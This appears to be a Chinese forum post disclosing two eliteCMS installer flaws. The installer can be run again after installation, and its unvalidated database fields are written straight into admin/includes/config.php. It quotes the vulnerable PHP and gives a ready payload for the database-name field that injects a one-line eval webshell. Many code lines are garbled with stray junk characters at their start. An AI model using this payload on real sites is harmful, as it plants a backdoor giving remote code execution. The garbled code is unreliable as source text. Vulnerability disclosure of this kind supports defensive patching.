eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
6 ~5 B. N6 i2 X8 j* r+ {. w2 K
...
elseif ($_GET['step'] == "4") {
5 y5 S4 b+ `. V+ h# n: t    $file = "../admin/includes/config.php";
2 s; t2 y; w; x: t    $write = "<?php\n";
    $write .= "/**\n";
3 {& c6 {+ [- N9 S9 I7 U8 \    $write .= "*\n";
5 O1 Z1 }* y1 m8 D& b" O    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
& c: V  T$ J/ i7 R6 j+ f. f) V' u...略...
: }! ^5 u$ K7 b; R. B1 R2 a, j8 E* }    $write .= "*\n";
0 ]: o9 Y6 g4 b% [) `% F& J    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
" B4 j, n' R5 o+ z& l1 o    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
  t( V6 [6 b1 C/ J: i/ N) r    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
, X6 A$ k* g4 P5 e  y5 ~0 J) o    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
2 c. G- T5 v% J* B5 A  ~8 U    $write .= "        \n";
" b: O1 K* W6 p1 u# {    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
. u- f0 L3 J' k% M! T" r7 c    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
" I+ k% i7 x4 |0 z% t    $write .= "        \n";
$ O: O! d. z0 y  }9 i    $write .= "} \n";
, j" Q7 u  C( K) R# M) V1 a    $write .= "?>\n";

4 Z/ p0 L" b' m& D. M: j    $writer = fopen($file, 'w');
...
% W! s# {6 t4 U- K: }6 g
在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
- F5 h" h4 c" O3 A如果将数据库名POST数据：

6 p2 D* ?8 |! |: K& k( I"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php